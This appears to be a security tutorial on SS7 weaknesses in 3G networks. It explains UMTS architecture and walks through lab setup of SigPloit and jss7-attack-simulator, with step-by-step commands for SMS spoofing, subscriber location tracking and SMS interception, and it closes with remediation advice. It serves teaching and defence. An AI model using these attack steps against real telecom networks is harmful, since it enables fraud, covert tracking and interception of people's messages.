3G: Practical Attacks Against the SS7 Signaling Protocol

One of the larger security concerns with 5G, the next generation of wireless technologies, is its reliance on 4G/LTE components. However, a reliance on 2G and 3G components is also a cause for concern. An adversary with internal network access (which they gained from a physical breach, for example) could target a 4G/LTE system with a downgrade attack to use the outdated 2G/3G protocols.

The main issue with 2G/3G systems is their use of the SS7 signalling protocol, which originates from the 1970s. SS7 is responsible for setting up and terminating telephone calls. As the protocol improved, it added new features such as SMS, prepaid billing, call waiting/forwarding, and more. However, there are multiple SS7 vulnerabilities to be aware of

• Fraudulent Activity: Users can be impersonated within the 3G network and can incur charges generated by the impersonator’s activity
• Breaching User Privacy: Several vulnerabilities affect SS7 that can be exploited to track a user’s physical location
• Interception: Due to the lack of encryption, voices and SMS communication can be recorded/observed and manipulated in transit
• Denial of Service: An attacker can interfere with a user’s ability to leverage the network

 

3G and SS7 Hacking: An Overview

To understand why 3G systems are vulnerable, its cellular architecture needs to be understood. 3G systems have been implemented in several different ways, but the two most common are Universal Mobile Telecommunications System (UMTS) and Code Division Multiple Access 2000 (CDMA2000). UMTS is mainly used in Europe, the Middle East, and Africa. CDMA2000 has mainly operated in North America and Asia Pacific.

While the two network architectures are fairly similar, I’ll be focusing on 3G’s implementation in UMTS architecture here. UMTS is broken down into four main components:

• User Equipment (UE): Devices (e.g. cell phones) that interface with the network.
• UMTS Terrestrial Radio Access Network (UTRAN): A network that executes all radio related functionality.
• Core Network (CN): A network that is responsible for routing and switching calls and data. It also tracks users.
• External Networks (EN): These are external bodies that devices can communicate with over the main network.

UE devices are made up of two main components: mobile equipment (ME) and a UMTS Subscriber Identity Module (USIM). ME is the part of the device that performs radio communication.

The USIM contains the subscriber’s identity and authentication/encryption keys to successfully attach to a target network.

The UTRAN is also made up of two components: Node Bs and radio network controllers (RNCs). Node Bs interface with UE devices through the use of radios and antennas. In other words, Node Bs are cell towers. RNCs manage and control the Node Bs and UE devices. RNCs can help hand off a device from one tower to the next, manage congestion, handle encryption, and more.

The CN is the main focus of this article because that is where all the SS7 activity occurs. It is also the most complex aspect of the architecture because of all the subsystems involved. At a high level, this component helps move data it receives from the UTRAN to its destination (e.g. to another user or the internet). It also helps data it receives from external networks make its way to the destination (like another user). The CN is broken down into the following components:

• Home Location Register (HLR): This register contains a list of all subscribers and their information. This data includes identification information (like the International Mobile Subscriber Identity (IMSI)), authentication keys, the last known location, and more.
• Visitor Location Register (VLR): This register contains a list of all users that are roaming in a specific geographic region. It acts as a temporary database.
• Mobile Switching Centre (MSC): Each group of cell towers (Node B and RNC) connects to an MSC. The MSC is responsible for routing switch calls, SMS, and more.
• Gateway MSC (GMSC): This MSC is responsible for routing all incoming and outgoing CS data.
• Service GPRS Support Node (SGSN): This node is similar to MSCs and VLRs but is used for packet switched services (i.e. Internet traffic). It handles the management of data and the authentication of users.
• Gateway GPRS Support Node (GGSN): This network switch is similar to the GMSC but is used for packet switched data. It routes PS data in and out of the current network.

Finally, the external networks are networks that extend beyond the 3G network. These networks could be the public switched telephone network (PSTN) (which is the traditional circuit-switched network used since the dawn of telephony), other carriers’ UMTS networks, or even the Internet.

Simulating a Vulnerable SS7 Environment

A few years back, two researchers (Rosalia D’Alessandro and Ilario Dal Grande) came together to create SigPloit (https://github.com/SigPloiter/SigPloit), a telecommunications security testing framework. Presently, it is only capable of attacking the GTP (another 3G signalling protocol) and SS7 protocols. This framework is quick and easy to set up in a Linux environment and provides simulation executables that allow users to test attacks that target SS7.

SigPloit offers simulations for fraud attacks and attacks that compromise a user’s privacy. However, its interception simulations were not working at the time this article was written, so an alternative tool called jss7-attack-simulator was discovered to simulate these vulnerabilities. The simulation tool was written by Kristoffer Jensen for their Master’s thesis for the Norwegian University of Science and Technology. 

Setup

The environment that the tools below were set up and executed on was a distribution of Debian Linux. Other operating systems will need to slightly modify the commands below to work with their respective package managers, network managers, etc.

To start, install the system dependencies with the following command:

sudo apt-get install git python openjdk-8-jdk maven lksctp-tools wireshark

 

SigPloit

To run SigPloit, download the Python tool, and install the Python dependencies with the code below:

git clone https://github.com/SigPloiter/SigPloit
cd SigPloit
sudo pip2 install -r requirements.txt

 

Lastly, execute the following commands to set up IP addresses for the test environment to leverage:

sudo ip address add 192.168.56.101/32 dev lo 
sudo ip address add 192.168.56.102/32 dev lo

 

Execute SigPloit with the following:

python sigploit.py

 

jss7-attack-simulator

No more dependencies will be needed to install this simulation tool. Navigate to the GitHub page and download the precompiled binaries. The author hosts the files on the following Google Drive link. 

Execute the following commands to run the simulator:

tar xvf jss7-attack-simulator.tar.gz
cd restcomm-jss7-${jSS7.release.version}/ss7/restcomm-ss7-simulator/bin/
run.sh attack_simulator help

 

When we ran the run.sh script, we received the following error stating that the Java Virtual Machine could not be created.

-Djava.ext.dirs=/root/SS7/ss7/restcomm-ss7-simulator/lib is not supported. Use -classpath instead.
Error: Could not create the Java Virtual Machine.
Error: A fatal exception has occurred. Program will exit.

 

This issue is written up in detail by another user at https://github.com/polarking/jss7-attack-simulator/issues/3

The issue occurs because the run.sh script cannot find the version of Java that it needs to properly set up the environment.

Here’s lines 91-98 of the script before the changes were made:

# Setup the JVM

if [ "x$JAVA" = "x" ]; then
    if [ "x$JAVA_HOME" != "x" ]; then
JAVA="$JAVA_HOME/bin/java"
    else
JAVA="java"
    fi
fi

 

To fix the problem, you can hardcode the path to the Java 8 binary in the run script. Here’s the same script lines after the Java 8 binary was hardcoded into the script:

# Setup the JVM
if [ "x$JAVA" = "x" ]; then
    if [ "x$JAVA_HOME" != "x" ]; then
JAVA="$JAVA_HOME/bin/java"
    else
JAVA="/usr/lib/jvm/java-8-openjdk-amd64/bin/java"
    fi
fi

 

This patch should fix the issue, and the simulator should now execute. To ensure that other users who find the simulation tool can resolve the issue, the remediation steps were described in the issue tracker, and a pull request was made to modify the README file with clearer installation instructions.

Attacking SS7

We can now start attacking the SS7 environments. As mentioned in the introduction, there’s a number of attacks that can be used to target the SS7 protocol. This article will only cover the following three:

• Fraud
• Breaching user privacy
• Interception / on-path attacks

 

Fraudulent Activity

There are several areas in the SS7 protocol that are vulnerable to fraud-based attacks, but the focus of this simulation is on SMS routing. The relevant SS7 issue is that a text message is sent directly from the MSC to the destination MSC. Nowhere in that transmission is the local HLR reached out to in order to validate who sent what. Therefore, an attacker can send a spoofed message to an MSC purporting to be another user whether they belong to that network or not. This vulnerability can be leveraged to execute SMS-based phishing attacks, create diplomatic tension by purporting to be presidential figure heads, or even achieve denial of service attacks by flooding users (or emergency services) with SMS traffic. The limits of an attack like this are really up to the creativity of the attacker themselves.

To execute the test case, first, launch the simulation binary with the following:

jar -jar
SigPloit/Testing/Server/Attacks/Fraud/MTForwardSMS_Server/MTForwardSMSResp.jar

 

Next, launch the attack from SigPloit by executing the Fraud attack JAR file with the following:

java -jar SigPloit/ss7/attacks/fraud/mtsms/MTForwardSMS.jar

 

To initiate the attack, the following parameters will need to be configured. The client and server reside on hardcoded IP addresses and ports for the simulation. The target MSC and IMSI indicated which target MSC server to attack and which victim IMSI to which the message should be sent. Configuring the local_GT parameter sets the global title (GT), which is the destination of the attacker, and the spoofed GT is an arbitrary 10-digit number. Finally, the SenderID value is the spoofed user that the sender is purporting to be, and the sms_content parameter contains the contents of the spoofed message.

Enter the following into SigPloit to set up the attack:

set client_pc 1
set client_ip 192.168.56.101
set client_port 2905
set server_pc 2
set server_ip 192.168.56.102
set server_port 2906
set target_msc 201512345678
set target_imsi 609156789123456
set local_GT 96512345678
set Spoofed_smscGT 965123456780
set SenderID 911
set sms_content Wear a mask. Social distance. Be safe.

Once those settings are ready, enter “run”, and the attack will execute.

 

Breaching User Privacy

Because large areas of the SS7 protocol can be executed without authentication, an attacker with network access could easily breach the privacy of any subscribers within the environment. This can be done through the use of Any Time Interrogation. As mentioned above, the HLR contains subscriber information, including their location. All an attacker needs to do is craft an SS7 message asking for it and the HLR will tell them. 

To execute the test case first launch the simulation binary:

java -jar SigPloit/Testing/Server/Attacks/Fraud/MTForwardSMS_Server/MTForwardSMSResp.jar

 

Next, launch the attack from SigPloit by executing the Fraud attack JAR file:

java -jar SigPloit/ss7/attacks/tracking/ati/AnyTimeInterrogation.jar

 

To initiate the attack, some parameters will need to be configured. The client and server reside on hardcoded IP addresses and ports for the simulation. The target MSISDN represents the victim’s phone number. Configuring the local_GT parameter sets the global title (GT), which is the destination of the attacker. Enter the following into SigPloit to set up the attack:

set client_pc 1
set client_ip 192.168.56.101
set client_port 2905
set server_pc 2
set server_ip 192.168.56.102
set server_port 2906
set target_msisdn 96599657765
set local_GT 441234567890

 

Once these parameters are set, enter “run”, and the attack will execute.

Interception

Intercepting voice data and SMS texts via SS7 is achieved in a manner that is similar to the Breaching User Privacy method. An attacker sends a spoofed message to the HLR, which updates the location of a given user. When that user receives text messages or calls, they will instead be routed to the adversary. This is why SMS-based multifactor authentication isn’t as secure as application-based multi-factor authentication.

Unlike the SigPloit examples above, the jss7-attack-simulator simulates all aspects of the issue, including the adversary’s actions. Therefore, Wireshark will be leveraged to watch the attack happen instead of using SigPloit to actually execute the attack. SigPloit can execute the attack with its ss7/attacks/interception/ul/UpdateLocation.jar module, but it won’t be used for this demonstration.

Before running the simulation, start Wireshark with administrative privileges, and configure it to listen on the local adapter. Configure the filter to monitor for “sccp” traffic (as the filter is configured in Figure 7).

Next, execute the attack with the following command. After a few minutes, traffic will be generated.

cd restcomm-jss7-${jSS7.release.version}/ss7/restcomm-ss7-simulator/bin/
run.sh attack_simulator -a simple -m intercept:sms

 

With Wireshark up and running, the attack traffic should be generated. To begin, the attacker sends the HLR a request to update the victim’s location. This is done with an updateLocation request. It targets the victim with the following IMSI identity: 24201111111110.

Next, a simulated text message is sent to the victim. The MSC will reach out to the HLR and request the victim’s location. Because the attacker tampered with the HLR’s data, the HLR thinks the victim is situated at the attacker’s location. The HLR informs the MSC of this location.

The MSC then routes the request to the attacker’s location, and the attacker can read the victim’s messages and receive their calls. The text message received by the attacker reads “SMS message”.

Remediation

It may seem like a daunting task, but steps can be taken by telecommunications operators that secure any 3G networks still in operation. These steps follow:

• Disable vulnerable functionality (like Any Time Interrogation)
• Install an SS7 firewall such as the open source firewall developed by P1 Security: https://github.com/P1sec/SigFW
• Extensively monitor incoming and outgoing network traffic
• Regularly conduct audits of signalling security and test the environment with penetration tests

For more information on securing SS7, refer to ENISA’s guidelines.

Abbreviations
1G – First generation of wireless cellular technologies
2G – Second generation of wireless cellular technologies
3G – Third generation of wireless cellular technologies
4G – Fourth generation of wireless cellular technologies
5G – Fifth generation of wireless cellular technologies
CDMA2000 – Code Division Multiple Access 2000
CS – Circuit switched
CN – Core Network
HLR – Home Location Register
GMSC – Gateway MSC
GTP – GPRS Tunnelling Protocol
ITU-R – ITU Radiocommunication Sector
ME – Mobile Equipment
MSC – Mobile Switching Centre
PS – Packet Switched
PTSN – Public Switched Telephone Network
RNC – Radio Network Controllers
SGSN – Service GPRS Support Node
SIM – Subscriber Identity Module
SMS – Short Message Service
SS7 – Signalling System No. 7
UE – User Equipment
UMTS – Universal Mobile Telecommunications System
USIM – Universal Subscriber Identity Module
UTRAN – UMTS Terrestrial Radio Access Network
VLR – Visitor Location Register

Sources
¹D. Tipper, “Intro to 3G Cellular Systems and UMTS overview,” [Online]. Available: http://www.pitt.edu/~dtipper/2720/2720_Slides11.pdf. [Accessed 01 02 2021].
²P. N. Yeboah, “Proposal and Implementation of An IDS for Potential SMS Spam Signaling Messages on SS7,” Norwegian University of Science and Technology (NTNU), 08 2016. [Online]. Available: https://ntnuopen.ntnu.no/ntnu-xmlui/bitstream/handle/11250/2421679/15725_FULLTEXT.pdf?sequence=1&isAllowed=y. [Accessed 01 02 2021].
³P. Coggin, “SS7 for Infosec,” 2018. [Online]. Available: https://deepsec.net/docs/Slides/2018/SS7_for_INFOSEC_Paul_Coggin.pdf. [Accessed 01 02 2021].
⁴A. Klinger and D. L. Perlman, “Technical report on SS7 vulnerabilities and mitigation measures for digital financial services transactions,” International Telecommunication Union (ITU), 2019. [Online]. Available: https://www.itu.int/en/ITU-T/extcoop/figisymposium/Documents/ITU_SIT_WG_Technical%20report%20on the%20SS7%20vulnerabilities%20and%20their%20impact%20 on%20DFS%20transactions_f.pdf[Accessed 01 02 2021].
⁵R. D’Alessandro and I. D. Grande, “SigPloit,” 18 07 2018. [Online]. Available: https://github.com/SigPloiter/SigPloit. [Accessed 01 02 2021].
⁶P1 Security, “SigFW,” P1 Security, 23 07 2017. [Online]. Available: https://github.com/P1sec/SigFW. [Accessed 01 02 2021].
⁷K. P. Jensen, “SS7 Attack Simulator based on RestComm’s jss7.,” Norwegian University of Science and Technology (NTNU), 1 06 2016. [Online]. Available: https://github.com/polarking/jss7-attack-simulator. [Accessed 01 02 2021]